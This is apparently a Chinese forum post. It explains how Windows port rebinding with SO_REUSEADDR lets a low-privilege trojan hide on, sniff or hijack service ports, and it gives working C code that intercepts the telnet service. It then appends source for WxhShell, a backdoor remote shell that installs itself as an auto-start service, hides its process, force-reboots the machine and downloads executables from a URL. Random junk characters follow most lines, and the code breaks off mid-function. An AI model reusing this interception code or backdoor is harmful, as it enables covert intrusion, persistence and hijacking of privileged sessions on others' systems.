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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: # 5b   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); !~-@p?kW/  
r%FfJM@!  
  saddr.sin_family = AF_INET; R=<uf:ca  
_qjkiKm?1F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '"]QAj?N  
B j z@X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j% Wip j;c  
I9hZ&ed16  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m98w0D@Ee  
H{+[ ,l  
  这意味着什么?意味着可以进行如下的攻击: <]'1YDA  
_.+2sm   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T3In0LQ  
H&=fD` Xq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g&fq)d  
<4RP:2#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sG:tyvln  
A ^X1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H'x) [2  
}HxC ~J"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]?UK98uS\A  
JqP~2,T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 W+ v#m>G  
{ v#wU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Xo ,U$zE  
{LqahO*  
  #include  ?h3t"9  
  #include 9e0t  
  #include 63T4''bwu  
  #include    0<u(!iL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UsnIx54D3  
  int main() de,4M s!%  
  { fea4Ul{ib  
  WORD wVersionRequested; M:R|hR{=*  
  DWORD ret; e<duD W$X  
  WSADATA wsaData; r%vO^8FQ  
  BOOL val; qqr]S^WW  
  SOCKADDR_IN saddr; gF~#M1!!  
  SOCKADDR_IN scaddr; vhL/L?NB$  
  int err; 7qEc9S@  
  SOCKET s; df7 xpV  
  SOCKET sc; oWV^o8& GH  
  int caddsize; ;[!W*8.c  
  HANDLE mt;  b =R9@!  
  DWORD tid;   4nU+Wj?T  
  wVersionRequested = MAKEWORD( 2, 2 ); Ht&%`\9s  
  err = WSAStartup( wVersionRequested, &wsaData ); _7N^<'B  
  if ( err != 0 ) { %]fi;Z  
  printf("error!WSAStartup failed!\n"); r 9whW;"q  
  return -1; !"s~dL,7  
  } d5l].%~  
  saddr.sin_family = AF_INET; (<ngdf`,  
   ~zyD=jx P9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V@`A:Nc_>  
Z lR2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); CNrK]+>  
  saddr.sin_port = htons(23); C#:L.qK  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VD+y4t'^  
  { z0xw0M+X  
  printf("error!socket failed!\n"); C0[ Z>$  
  return -1; +d JLT}I8M  
  } *L=F2wW  
  val = TRUE; BiD}C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H\<^p",`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =O'>H](Q  
  { TmUN@h  
  printf("error!setsockopt failed!\n"); 1 2J#}|  
  return -1; "cx#6Bo|  
  }  :qrCqFl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r"x/,!_E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 on)$y&lu  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BOWR}n!g  
`m=u2kxY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'h{| ]  
  { :{M1]0 NH  
  ret=GetLastError(); ,]Q i/m  
  printf("error!bind failed!\n"); 2PG= T/  
  return -1; ]_y0wLq  
  } /..a9x{At>  
  listen(s,2); ibv.M=  
  while(1) H* vd  
  { Cbjx{  
  caddsize = sizeof(scaddr); < SvjvV  
  //接受连接请求 ~.&2N Ur  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w0Y V87  
  if(sc!=INVALID_SOCKET) Bb@m-+f  
  { uYAMW{AT  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fSw6nEXn  
  if(mt==NULL) B'~CFj0W%=  
  { dc%0~Nz  
  printf("Thread Creat Failed!\n"); JQk][3Rv  
  break; g: ,*Y^T  
  } u>h|A(<  
  } 7f#r&~=  
  CloseHandle(mt); } DQ KfS  
  } P= nu&$;  
  closesocket(s); ^^{7`X u  
  WSACleanup(); v8NoD_  
  return 0; CK#SD|~:  
  }   l t{yo\  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6*%E4#4  
  { 7MhN>a;A\  
  SOCKET ss = (SOCKET)lpParam; y)0wM~E;2  
  SOCKET sc; MfK}DEJK,  
  unsigned char buf[4096]; 'D17]Lp~.  
  SOCKADDR_IN saddr; jR@J1IR<  
  long num; iYBp"+#2  
  DWORD val; CT#u+]T  
  DWORD ret; KXbD7N.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t7qzAr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *;X,yEK[  
  saddr.sin_family = AF_INET; 8|H^u6+yz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XpoEZ|0  
  saddr.sin_port = htons(23); MWn+e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c^%&-],  
  { $C`YVv%?0  
  printf("error!socket failed!\n"); Fa^I 1fk  
  return -1; OYayTKxN  
  } _0 $W;8X  
  val = 100; Ry4`Q$=:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tk~<tqMq  
  { PYJ8\XZ1_N  
  ret = GetLastError(); 5`O af\S  
  return -1; v]e6CZwo  
  } n s`njx}C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <OA[u-ph%S  
  { e'L$g-;>4b  
  ret = GetLastError(); + -OnO7f  
  return -1; w;8VD`>[|  
  } M;zJ1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4}MZB*);0  
  { 3Q_L6Wj~  
  printf("error!socket connect failed!\n"); VKb'!Ystl  
  closesocket(sc); ~$:=hT1  
  closesocket(ss); $zYo~5M?i-  
  return -1; 8*m=U@5]  
  } x9B5@2J1  
  while(1) C|H/x\?zRv  
  { . Q$/\E  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ua HB\Uc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 { ((|IvP`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sH `(y)`_  
  num = recv(ss,buf,4096,0); (Aw!K`0Y1  
  if(num>0) z3 Ro*yJU  
  send(sc,buf,num,0); hB 36o9|9  
  else if(num==0) OF/DI)j3  
  break; mjXO}q7  
  num = recv(sc,buf,4096,0); @>4=}z_e  
  if(num>0) 8@Hl0{q  
  send(ss,buf,num,0); Q]"u?Q]  
  else if(num==0) h Lv_ER?  
  break; ,!'L~{  
  } iQj2aK Gs  
  closesocket(ss); <Z58"dg.5  
  closesocket(sc); +tSfx  
  return 0 ; 1 wB2:o<  
  } HA W57N  
Md(h-wYr  
y`Km96 Ui  
========================================================== YKWts y  
<QZ X""  
下边附上一个代码,,WXhSHELL PS3%V_2  
?84B0K2N s  
========================================================== $TR#-q  
V-.Nc#  
#include "stdafx.h" D8,V'n>L  
d-BUdIz  
#include <stdio.h> OZed+t=  
#include <string.h> [Adkj  
#include <windows.h> 9m:G8j'  
#include <winsock2.h> t!JD]j>q  
#include <winsvc.h> >wJt# ZB  
#include <urlmon.h> (HD=m, }  
)mvD2]fK  
#pragma comment (lib, "Ws2_32.lib") Tyk\l>S  
#pragma comment (lib, "urlmon.lib") ]<B@g($  
* M,'F^E2  
#define MAX_USER   100 // 最大客户端连接数 2,.;Mdl  
#define BUF_SOCK   200 // sock buffer e~iPN.'1  
#define KEY_BUFF   255 // 输入 buffer PShluhY  
_8eN^oc%  
#define REBOOT     0   // 重启 ZclZD{%8J  
#define SHUTDOWN   1   // 关机 6y d/3k  
E,g5[s@  
#define DEF_PORT   5000 // 监听端口 syR +;  
 #:st>V_h  
#define REG_LEN     16   // 注册表键长度 /UAcN1K!B  
#define SVC_LEN     80   // NT服务名长度 dB%q`7O  
"Nlw&+ c7  
// 从dll定义API ZB@Bj>,b p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >ho$mvT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yYri.n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \~bx%VWW4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X!/o7<  
Z;4pI@ u  
// wxhshell配置信息 ->29Tns  
struct WSCFG { sn6:\X<[  
  int ws_port;         // 监听端口 A(dWA e,  
  char ws_passstr[REG_LEN]; // 口令 k),!%6\(  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q@"mL  
  char ws_regname[REG_LEN]; // 注册表键名 5(V'<  
  char ws_svcname[REG_LEN]; // 服务名 O!=ae|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '"QN{ja  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  XBF]|}%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z0Bw+&^]}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @& vtY._  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nm.~~h+8M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h..D1(M  
@ %}4R`S0  
}; 1deNrmp%  
4EtP|  
// default Wxhshell configuration K)!Nf.r$9  
struct WSCFG wscfg={DEF_PORT, }jWZqIqj  
    "xuhuanlingzhe", u{SJ#3C5  
    1, !W3bHy:C"  
    "Wxhshell", @cz\'v6E  
    "Wxhshell", a$K.Or}  
            "WxhShell Service", ck"lX[d1  
    "Wrsky Windows CmdShell Service", WUnmUW[/  
    "Please Input Your Password: ", f#3U,n8:  
  1, aHzS>  
  "http://www.wrsky.com/wxhshell.exe", R]y[n;aGC  
  "Wxhshell.exe" FPB O=?H.  
    }; 0-!K@#$>=  
'.8E_Jd0E  
// 消息定义模块 !f^'-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AO "pm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gPrIu+|F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f3u^:6U~  
char *msg_ws_ext="\n\rExit."; M*x1{g C/  
char *msg_ws_end="\n\rQuit."; Ous_269cM  
char *msg_ws_boot="\n\rReboot..."; PIxd'B*MF  
char *msg_ws_poff="\n\rShutdown..."; NrrnG]#p1  
char *msg_ws_down="\n\rSave to "; E)h&<{%  
X\dPQwasM  
char *msg_ws_err="\n\rErr!"; 5`?'}_[Yj  
char *msg_ws_ok="\n\rOK!"; DL:wiQ  
B-`,h pp  
char ExeFile[MAX_PATH]; q\fZ Q  
int nUser = 0; Vs0T*4C=n  
HANDLE handles[MAX_USER]; P$=BmBq18`  
int OsIsNt; ?%Pd:~4D  
lNw8eT~2  
SERVICE_STATUS       serviceStatus; D:yj#&I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;jEDGKLq  
cJ> #jl&  
// 函数声明 ;[ag|YU$Y  
int Install(void); #'<s/7;~  
int Uninstall(void); $<[Q8V-  
int DownloadFile(char *sURL, SOCKET wsh); QlmZ4fT[r  
int Boot(int flag); r?l7_aBv3  
void HideProc(void); D0f.XWd  
int GetOsVer(void); NWt`X!  
int Wxhshell(SOCKET wsl); (6*CORE   
void TalkWithClient(void *cs); .*bu:FuDE  
int CmdShell(SOCKET sock); MI,b`pQ  
int StartFromService(void); Q{~WWv  
int StartWxhshell(LPSTR lpCmdLine); e{<r<]/j  
'p{N5eM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {d%% nK~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H(~:Ajj+zQ  
?^< E#2a  
// 数据结构和表定义 c[I4'x  
SERVICE_TABLE_ENTRY DispatchTable[] = FYs-vW{  
{ !((J-:=  
{wscfg.ws_svcname, NTServiceMain}, rh6gB]X]3:  
{NULL, NULL} #EO@<> I  
}; gq^j-!Q)Q<  
#nv =x&g  
// 自我安装 Wt%+q{  
int Install(void) ^D=1%@l?#  
{ HL^+:`,  
  char svExeFile[MAX_PATH]; s?irT;=  
  HKEY key; ky^p\dMh  
  strcpy(svExeFile,ExeFile); =@%Ukrd@  
#Oeb3U  
// 如果是win9x系统,修改注册表设为自启动 *x;&fyR  
if(!OsIsNt) { +@ FM~q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]hPu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ig sK7wn  
  RegCloseKey(key); ^bZ'z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mYy{G s7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LL}|# %4d  
  RegCloseKey(key); $@[`v0y*  
  return 0; c89+}]mGq  
    } ds*N1[ *  
  } R.FC3<TTv  
} }KBz8M5  
else { `}Of'i   
QQnpy.`:/  
// 如果是NT以上系统,安装为系统服务 <;R}dlBASW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]f3eiHg*  
if (schSCManager!=0) j!It1B  
{ lD%Fk3  
  SC_HANDLE schService = CreateService !m* YPY31  
  ( /:YM{,]  
  schSCManager, Fbpe`pS+V  
  wscfg.ws_svcname, xejQ!MAB  
  wscfg.ws_svcdisp, 7Ntt#C;]U  
  SERVICE_ALL_ACCESS, OVo3.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _>G.  
  SERVICE_AUTO_START, \%qzTk.&r  
  SERVICE_ERROR_NORMAL, TspuZR@2  
  svExeFile, su/!<y  
  NULL, .}wVM`81z  
  NULL, q, 8TOn  
  NULL, X4c|*U=4  
  NULL, RWe$ZZSz!  
  NULL '\ MYC8"  
  ); sUCI+)cM3  
  if (schService!=0) >;$C@  
  { cIL I%W1  
  CloseServiceHandle(schService); A *$JF>`7  
  CloseServiceHandle(schSCManager); j;GH|22  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i; qb\  
  strcat(svExeFile,wscfg.ws_svcname); .d JX,^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GV+K] KDI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -|"[S"e  
  RegCloseKey(key); TQ/EH~Sz  
  return 0; JZa^GW:YQh  
    }  rk F>c  
  } y*BS %xTF  
  CloseServiceHandle(schSCManager); ?YeUA =[MC  
} eWgqds&#  
} GQ@`qYLZ+  
j.?c~Fh  
return 1; al<;*n{/  
} ji|+E`Nii  
OzVCqq"]  
// 自我卸载 H'Oy._,]t  
int Uninstall(void) )}/ ycTs  
{ ]tjQy1M  
  HKEY key; B#|c$s{  
F1Jd-3ei  
if(!OsIsNt) { fAMk<?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #{m~=1%;Ya  
  RegDeleteValue(key,wscfg.ws_regname); 8l?mNapy  
  RegCloseKey(key); _+OnH!G0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qM$4c7'4P6  
  RegDeleteValue(key,wscfg.ws_regname); B"@3Qav3  
  RegCloseKey(key); %OIJ.  
  return 0; 7CK3t/3D  
  } B$ Z%_j&  
} z154lY}K  
} u{6b>c|,X  
else { t-;zgW5mwF  
iFJ1}0<(x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R/_bk7o]H  
if (schSCManager!=0) zF)&o}  
{ 69 >-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /S9(rI<'  
  if (schService!=0) `/"rs@  
  { 17 k9h?s*  
  if(DeleteService(schService)!=0) { ccdP}|9e  
  CloseServiceHandle(schService); :Zs i5>MT  
  CloseServiceHandle(schSCManager); tFi'RRZ  
  return 0; yDE0qUO  
  } |#>:@{X<  
  CloseServiceHandle(schService); R7nT,7k.  
  } @X|Mguq5  
  CloseServiceHandle(schSCManager); N<$dbqoT|  
} V,*<E&+  
} RZ6[+Ygn  
(uxe<'Co|  
return 1; $ouw *|<  
} G2 E4  
dr[sSBTY"  
// 从指定url下载文件 ?xRx|_}e  
int DownloadFile(char *sURL, SOCKET wsh) jDV;tEY#^  
{ c)b/"  
  HRESULT hr; tF/)DZ.to  
char seps[]= "/"; !:GlxmtoW?  
char *token; lWR".  
char *file; |+aUy^  
char myURL[MAX_PATH]; KkIgyLM  
char myFILE[MAX_PATH]; 6XFLWN-)  
Bp7`W:?# "  
strcpy(myURL,sURL); YV{^2)^  
  token=strtok(myURL,seps); WLy%| {/  
  while(token!=NULL) R [[ #r5q  
  { ]RvFn~E!s  
    file=token; x(tf0[g  
  token=strtok(NULL,seps); '1 }ybSG  
  }  s-Z<  
>,9ah"K_x  
GetCurrentDirectory(MAX_PATH,myFILE); wDvG5  
strcat(myFILE, "\\"); pz hPEp;  
strcat(myFILE, file); kA"|PtrW  
  send(wsh,myFILE,strlen(myFILE),0); j@Ta\a-,x  
send(wsh,"...",3,0); VqIzDs  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }x9D;%)/  
  if(hr==S_OK) "KiTjl`M,  
return 0; fHLt{!O  
else r=J+  
return 1; R/O>^s!Co  
UA8*8%v  
} s2X<b `  
S#:yl>2  
// 系统电源模块 DD?zbN0X  
int Boot(int flag) }g9g]\.!a  
{ 2}BQ=%E!'  
  HANDLE hToken; rP7[{'%r  
  TOKEN_PRIVILEGES tkp; }#<mK3MBe  
T[L7-5U0  
  if(OsIsNt) { I&Z4?K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Rt9S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V#P`FX  
    tkp.PrivilegeCount = 1; {tDH !sX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D^30R*gV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qf .ASC   
if(flag==REBOOT) { ,O'#7Dj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0#d:<+4D  
  return 0; l(<=JUO;  
} mH,L,3R;R  
else { JS^QfT,zE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ceUhCb  
  return 0; qk *b,`;  
} l2*o@&.  
  } ' O+)[D  
  else { DTMoZm  
if(flag==REBOOT) { F*['1eAmdY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9 \lSN5W  
  return 0; ? koIZ  
} k0(_0o  
else { ;_oJGII?br  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yW)&jZb"(  
  return 0; 99YgQ Y]HO  
} {2v,J]v_[  
} SmUj8?6"  
!LX)  
return 1; ,s~d39{  
} itn<c2UyA  
)L0NX^jW;  
// win9x进程隐藏模块 J P1XH k  
void HideProc(void) 7KlS9x2  
{ 9{cpxJ  
xW. ~Jt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _)%Sz"g^Ix  
  if ( hKernel != NULL ) .ED8b5t|  
  { A?+0Ce&qL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;xQNa}"V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >>b <)?3Rv  
    FreeLibrary(hKernel); c.eUlr_ {  
  } 5I6u 2k3  
b9Mp@I7Q-  
return; 8t5o&8v  
} r?$ V;Z  
QnTKo&|9  
// 获取操作系统版本 4Nl3"@<$  
int GetOsVer(void) bP)( 4+t~  
{ RA$%3L[A!  
  OSVERSIONINFO winfo; c2RQwtN|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @j`gx M_-O  
  GetVersionEx(&winfo); ?e#bq]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xiy=D5N.=  
  return 1; &~KAZ}xu  
  else Z4s+8cTHn  
  return 0; WXs?2S*  
} R^?9 V=Y<T  
)C>8B`^S  
// 客户端句柄模块 #;])/8R%  
int Wxhshell(SOCKET wsl) NyR,@n1  
{ H{et2J<H  
  SOCKET wsh; B(1WI_}~  
  struct sockaddr_in client; cfC}"As  
  DWORD myID; V)Sw\tS6g  
7SJbrOL4Q-  
  while(nUser<MAX_USER) ^5n#hSqZ=M  
{ PSHzB! H=n  
  int nSize=sizeof(client); <f9a%`d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [C`LKA$t  
  if(wsh==INVALID_SOCKET) return 1; <]f{X<ef  
X#<+D1P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !!+LFe4su  
if(handles[nUser]==0) WYm<_1  
  closesocket(wsh); {l9gYA  
else r7jh)Q;BbR  
  nUser++; GCj[ySCD  
  } Gq]/6igzX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }Y!v"DO#Q*  
\k9]c3V  
  return 0; <%N*IE"q  
} n/ZX$?tKAK  
-A^o5s  
// 关闭 socket jRN>^Ur;g  
void CloseIt(SOCKET wsh) f=IF_|@^S  
{ <)a7Nrc\T  
closesocket(wsh); x8o/m$[,=u  
nUser--; ?3y>K!D(A  
ExitThread(0); ]NyN@9u@(  
} Ke^9R-jP  
#+Y%Bxf  
// 客户端请求句柄 Jbn^G7vH<6  
void TalkWithClient(void *cs) &Lbh?C  
{ `4-N@h  
RpwDOG  
  SOCKET wsh=(SOCKET)cs; eX$RD9 H  
  char pwd[SVC_LEN]; T,9pd;k  
  char cmd[KEY_BUFF]; AD~_n ^  
char chr[1]; B8~bx%)3T  
int i,j; F<4>g+Ag  
D]twid~OS  
  while (nUser < MAX_USER) { K]&i9`>N   
M=54xTh0Y  
if(wscfg.ws_passstr) { nyL$z-I)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N$.=1Q$F6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _H"_&m$aDm  
  //ZeroMemory(pwd,KEY_BUFF); !n<SpW;  
      i=0; +xS<^;   
  while(i<SVC_LEN) { ~NTKWRaR  
zm mkmTp  
  // 设置超时 }ag;yf;  
  fd_set FdRead; Gc_KS'K@$  
  struct timeval TimeOut; uN=f( -"  
  FD_ZERO(&FdRead); aMJJ|iiU  
  FD_SET(wsh,&FdRead); vDIsawbHD  
  TimeOut.tv_sec=8; QIfP%,LT  
  TimeOut.tv_usec=0; 88VI _<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /*(&Dmt>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D67z6jep(  
Md&K#)9,(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dxe]LES\]  
  pwd=chr[0]; |$C fm}  
  if(chr[0]==0xd || chr[0]==0xa) { 1}~ZsrF  
  pwd=0; `S A1V),~  
  break; P2F8[o!<  
  } _:>t$* _  
  i++; n-{.7  
    } +k V$ @qH  
)"J1ET,z  
  // 如果是非法用户,关闭 socket LRR)T: e}q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |-TxX:O-  
} XUA%3Xr  
Ya}}a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a@-bw4S D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T^ - -:1  
,<$rSvMfg  
while(1) { IP^1ca#<  
5cb8=W -  
  ZeroMemory(cmd,KEY_BUFF); b3ys"Vyn  
d.Q<!Au3  
      // 自动支持客户端 telnet标准   p!EG:B4  
  j=0; d4)0G-|  
  while(j<KEY_BUFF) { MkWbPm)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p*l=rni4  
  cmd[j]=chr[0]; S{Zf}8?6$  
  if(chr[0]==0xa || chr[0]==0xd) { ,u9 >c*Ss\  
  cmd[j]=0; })j N 8px  
  break; @ V_i%=go  
  } |d,bo/:  
  j++; n(.L=VuXn  
    } \ 0Ba?  
[<sN "  
  // 下载文件 \wR\i^  
  if(strstr(cmd,"http://")) { bc;?O`I<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o*3\xg  
  if(DownloadFile(cmd,wsh)) kG5Uc8 3#G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "-\8Y>E  
  else owwWm1@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BY':R-~(  
  } iu$Y0.H@  
  else { _YN C}PUU  
g9Ty%|Q7(  
    switch(cmd[0]) { c< sq0('`  
  8T8]gM  
  // 帮助 C=bQ2t=Z  
  case '?': { U;M !jj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 39d$B'"<1  
    break; 6n;? :./  
  } 4%4Yqx )  
  // 安装 z /nW; ow  
  case 'i': { gGx<k3W^  
    if(Install()) ND/oKM+?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h gu\~}kD  
    else Gzwb<e y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .*Bd'\:F/q  
    break; 0<##8m@F8  
    } ZG? e%  
  // 卸载 5RP5%U  
  case 'r': { E,fbIyX  
    if(Uninstall()) cM\BEh h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mex@~VK  
    else P.jy7:dB,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %/BBl$~ji  
    break; 221}xhn5  
    } Htfq?\ FD  
  // 显示 wxhshell 所在路径 "1`w>(=  
  case 'p': { i^8w0H<-@v  
    char svExeFile[MAX_PATH]; /B|"<`-H  
    strcpy(svExeFile,"\n\r"); CAmIwAx6;  
      strcat(svExeFile,ExeFile); ff=RKKnN  
        send(wsh,svExeFile,strlen(svExeFile),0); m}]QP\  
    break; MHGaf`7ro  
    } m-#]v}0A  
  // 重启 #V$sb1u  
  case 'b': { HZjuL.Tj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `R!2N4|;  
    if(Boot(REBOOT)) FEX67A8 /;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \FF|b"E_=  
    else { ",' Zr<T  
    closesocket(wsh); V;Q@' <w  
    ExitThread(0); Wys$#pJ  
    } #4!f/dWJp  
    break; l<'}`  
    } c` N_MP  
